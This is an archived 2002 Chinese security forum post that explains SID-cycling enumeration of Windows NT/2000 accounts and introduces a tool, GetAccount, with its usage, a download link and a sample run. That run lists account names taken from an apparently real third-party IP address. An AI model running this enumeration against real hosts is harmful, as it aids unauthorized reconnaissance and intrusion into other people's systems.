小榕 
    
级别：管 理 员
威望：0
经验：2
货币：2638
体力：
来源：211.161.43.*
总发帖数：621
注册日期：2001-04-13
|
|
 查看  邮件  主页  QQ  消息  引用  复制  下载
在枚举NT系统用户帐号时，通常通过NULL
Session，来进行。但是并不是说只要建立了NULL
Session就可以枚举帐号，如果作了一些安全设置就没那么容易了。（例如：在用流光枚举的时候出现的ErrorCode: 5就是这样的）
但是我们可以通过SID来进行这个工作，我们知道，系统中每建立一个用户账号，总会给其赋一个标识号，就好比Unix系统中，每个用户账号都有一个UID一样，在Windows
NT/2000系统里，用户的唯一标识号就是SID（安全标识号）。之后，该用户对系统资源进行访问时，就是通过其SID进行权限检查的。
一个SID是由一长串数字组成的，其中包括两个部分，前一部分用来唯一标识一个域（如果是独立的工作站，唯一标识的就是工作站主机），后一部分唯一标识域（或主机）中的某个账号。
例如：
S-1-5-21-789336058-113007714-1060284298-500
对域在同一个域中SID的前面部分时相同的，不同的只是最后的部分。
系统内置的管理员账号SID的最后总是500、Guest的SID最后总是501。
用户帐号SID的最后是从1000开始的。
知道了这个规律，我们就可以通过得到Guest的SID，通过构造SID的最后部分（累加）来枚举用户帐号。一个帐号即使被删除，他的SID依然存在。所以通过这种方法得到的用户名有一些也许是已经被删除了的。
我写了一个小工具GetAccount，就是根据这个原理来的。
用法：
GetAccount
\\IP Type Count
Type:
0：系统内置的帐号
1：用户增加的帐号
Count: 枚举的数目（累加的数目）
例如：
C:\>GetAccount.exe
\\211.154.211.15 1 10
GetAccount Via SID, by netXeyes
2002/04/06
Connect Host 211.154.211.15 ....OK
Start
Ememurate Account....
Name is: TsInternetUser
Name is:
IUSR_XINNET-5C4H2165
Name is: IWAM_XINNET-5C4H2165
Name is:
iisshare
Name is: www.sbs.com.cn Admins
Name is:
www.sbs.com.cn Authors
Name is: www.sbs.com.cn Browsers
Name
is: web2018
Name is: www.fontainburg.com Admins
Name is:
www.fontainburg.com Authors
Disconnect Host 211.154.211.15
....OK
下载: http://www.netXeyes.com/GetAccount.exe
[
此消息由 小榕 在 2002-04-06.21:30:08 编辑过 ] |
首页 
小榕软件实验室 
刀光雪影 
利用SID枚举系统帐号(答昨晚的问题) 
将此页发给您的朋友
编辑
删除
发表于 2002-04-06.21:28:21 
IP: 
.files\star1(1).gif)
.files\star2(1).gif)
